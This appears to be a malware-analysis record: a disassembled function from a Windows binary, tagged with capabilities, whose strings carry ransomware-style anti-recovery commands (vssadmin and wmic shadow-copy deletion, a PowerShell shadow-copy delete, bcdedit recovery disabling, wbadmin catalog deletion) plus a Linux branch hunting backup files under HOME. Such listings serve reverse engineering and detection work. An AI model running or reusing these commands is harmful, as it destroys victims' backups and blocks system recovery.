Function at 0x140002370
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
push rsi
push rdi
sub rsp, 0x348
mov rax, qword [0x14005b0c0]
xor rax, rsp
mov qword [rsp + 0x330], rax
lea rcx, [rsp + 0xd8]
call fcn.1400022d0
nop
lea rdx, str.windows
lea rcx, [rsp + 0xd8]
call fcn.1400044a0
movzx eax, al
test eax, eax
je 0x14000272a
lea rdx, str.cmd.exe__c_vssadmin_delete_shadows__all__quiet
lea rcx, [rsp + 0x198]
call fcn.140009660
nop
lea rcx, [rsp + 0x198]
call fcn.1400021b0
movzx eax, al
test eax, eax
je 0x14000243b
lea r8, [rsp + 0x198]
lea rdx, [0x140046fe0]
lea rcx, [rsp + 0x1d8]
call fcn.140004830
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
lea rcx, [0x14005da30]
call fcn.140004450
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
nop
lea rcx, [rsp + 0x1d8]
call fcn.14000ab10
lea rdx, str.cmd.exe__c_wmic_shadowcopy_delete__nointeractive
lea rcx, [rsp + 0x178]
call fcn.140009660
nop
lea rcx, [rsp + 0x178]
call fcn.1400021b0
movzx eax, al
test eax, eax
je 0x1400024bd
lea r8, [rsp + 0x178]
lea rdx, [0x140047058]
lea rcx, [rsp + 0x1f8]
call fcn.140004830
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
lea rcx, [0x14005da30]
call fcn.140004450
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
nop
lea rcx, [rsp + 0x1f8]
call fcn.14000ab10
lea rdx, str.powershell__c_Get_WmiObject_Win32_Shadowcopy__ForEach_Object___.Delete___
lea rcx, [rsp + 0x158]
call fcn.140009660
nop
lea rcx, [rsp + 0x158]
call fcn.1400021b0
movzx eax, al
test eax, eax
je 0x14000253f
lea r8, [rsp + 0x158]
lea rdx, [0x140047110]
lea rcx, [rsp + 0x218]
call fcn.140004830
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
lea rcx, [0x14005da30]
call fcn.140004450
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
nop
lea rcx, [rsp + 0x218]
call fcn.14000ab10
lea rdx, str.cmd.exe__c_bcdedit__set_default_bootstatuspolicy_ignoreallfailures
lea rcx, [rsp + 0x138]
call fcn.140009660
nop
lea rcx, [rsp + 0x138]
call fcn.1400021b0
movzx eax, al
test eax, eax
je 0x1400025c1
lea r8, [rsp + 0x138]
lea rdx, [0x1400471b0]
lea rcx, [rsp + 0x238]
call fcn.140004830
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, [0x14005da30]
call fcn.140004450
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
nop
lea rcx, [rsp + 0x238]
call fcn.14000ab10
lea rdx, str.cmd.exe__c_bcdedit__set_default_recoveryenabled_no
lea rcx, [rsp + 0x118]
call fcn.140009660
nop
lea rcx, [rsp + 0x118]
call fcn.1400021b0
movzx eax, al
test eax, eax
je 0x140002643
lea r8, [rsp + 0x118]
lea rdx, [0x140047230]
lea rcx, [rsp + 0x258]
call fcn.140004830
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x78]
lea rcx, [0x14005da30]
call fcn.140004450
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
nop
lea rcx, [rsp + 0x258]
call fcn.14000ab10
lea rdx, str.cmd.exe__c_wbadmin_delete_catalog__quiet
lea rcx, [rsp + 0xf8]
call fcn.140009660
nop
lea rcx, [rsp + 0xf8]
call fcn.1400021b0
movzx eax, al
test eax, eax
je 0x1400026d2
lea r8, [rsp + 0xf8]
lea rdx, str._INFO_
lea rcx, [rsp + 0x278]
call fcn.140004830
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x88]
lea rcx, [0x14005da30]
call fcn.140004450
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
nop
lea rcx, [rsp + 0x278]
call fcn.14000ab10
nop
lea rcx, [rsp + 0xf8]
call fcn.14000ab10
nop
lea rcx, [rsp + 0x118]
call fcn.14000ab10
nop
lea rcx, [rsp + 0x138]
call fcn.14000ab10
nop
lea rcx, [rsp + 0x158]
call fcn.14000ab10
nop
lea rcx, [rsp + 0x178]
call fcn.14000ab10
nop
lea rcx, [rsp + 0x198]
call fcn.14000ab10
jmp 0x1400028be
lea rdx, str.linux
lea rcx, [rsp + 0xd8]
call fcn.1400044a0
movzx eax, al
test eax, eax
je 0x140002883
lea rdx, str..bak
lea rcx, [rsp + 0x2a0]
call fcn.140008f90
nop
lea rdx, str..orig
lea rcx, [rsp + 0x2c0]
call fcn.140008f90
nop
lea rdx, str..old
lea rcx, [rsp + 0x2e0]
call fcn.140008f90
nop
lea rdx, str..copy
lea rcx, [rsp + 0x300]
call fcn.140008f90
nop
lea rcx, [rsp + 0x22]
call fcn.1400055b0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x320]
mov r8, rcx
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0xc8]
call fcn.140009a50
lea rcx, [rsp + 0xa0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x90]
mov r8, rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xb0]
call fcn.140009c60
nop
lea r9, [fcn.14000aae0]
mov r8d, 4
mov edx, 0x20
lea rcx, [rsp + 0x2a0]
call fcn.14001cd74
lea rcx, str.HOME
call fcn.140024958
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140002874
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x1b8]
call fcn.140008f90
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x1b8]
call fcn.140001d20
nop
lea rcx, [rsp + 0x1b8]
call fcn.14000aae0
nop
lea rcx, [rsp + 0xb0]
call fcn.14000acb0
jmp 0x1400028be
lea rdx, str._ERROR__Unsupported_OS__who_are_you_really_
lea rcx, [0x14005d910]
call fcn.140003990
lea rdx, [0x1400080b0]
mov rcx, rax
call fcn.14000b1d0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0xd8]
call fcn.14000aae0
movzx eax, byte [rsp + 0x20]
jmp 0x1400028d5
mov byte [rsp + 0x21], 1
lea rcx, [rsp + 0xd8]
call fcn.14000aae0
movzx eax, byte [rsp + 0x21]
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.14001d240
add rsp, 0x348
pop rdi
pop rsi
ret